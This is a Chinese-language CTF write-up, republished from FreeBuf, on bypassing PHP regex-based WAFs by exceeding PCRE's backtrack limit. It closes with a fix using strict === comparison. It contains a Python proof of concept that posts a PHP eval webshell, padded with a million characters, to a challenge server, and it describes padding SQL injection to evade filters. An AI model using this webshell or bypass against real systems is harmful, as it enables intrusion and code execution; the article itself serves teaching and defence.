64

PHP利用PCRE回溯次数限制绕过某些安全限制

 5 years ago
source link: https://www.freebuf.com/articles/web/190794.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者: phith0n ,本文属FreeBuf原创奖励计划,未经许可禁止转载

这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf,将其代码简化如下:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。这种时候,如何绕过 is_php() 函数来写入 webshell 呢?

这道题看似简单,深究其原理,还是值得写一篇文章的。

0×01 正则表达式是什么

正则表达式是一个可以被「有限状态自动机」接受的语言类。

「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

0×02 回溯的过程是怎样的

所以,我们题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:

BJFFfeJ.jpg!web

见上图,可见第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上  [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

在调试正则表达式的时候,我们可以查看当前回溯的次数:

IZFBj23.jpg!web

这里回溯了 8 次。

0×03 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:

aAJVn2I.jpg!web

这里有个有趣的事情,就是 PHP 文档中,中英文版本的数值是不一样的:

MRjUfi6.jpg!web

我们应该以英文版为参考。

可见,回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?比如:

qqM3Qzm.jpg!web

可见,preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:

imqYf27.jpg!web

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

0×04 PCRE 另一种错误的用法

延伸一下,很多基于 PHP 的 WAF,如:

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

另外,我遇到更常见的一种 WAF 是:

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

.+? 匹配到/

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*

S 匹配*失败,回溯,再由.+? 匹配*

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a

S 匹配 a 失败,回溯,再由.+? 匹配 a

回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

V3QF7ba.jpg!web

0×05 修复方法

那么,如何修复这个问题呢?

其实如果我们仔细观察 PHP 文档,是可以看到 preg_match 函数下面的警告的:

6fUJzq2.jpg!web

如果用 preg_match 对字符串进行匹配,一定要使用===全等号来判断返回值,如:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样,即使正则执行失败返回 false,也不会进入 if 语句。

*本文原创作者: phith0n ,本文属FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK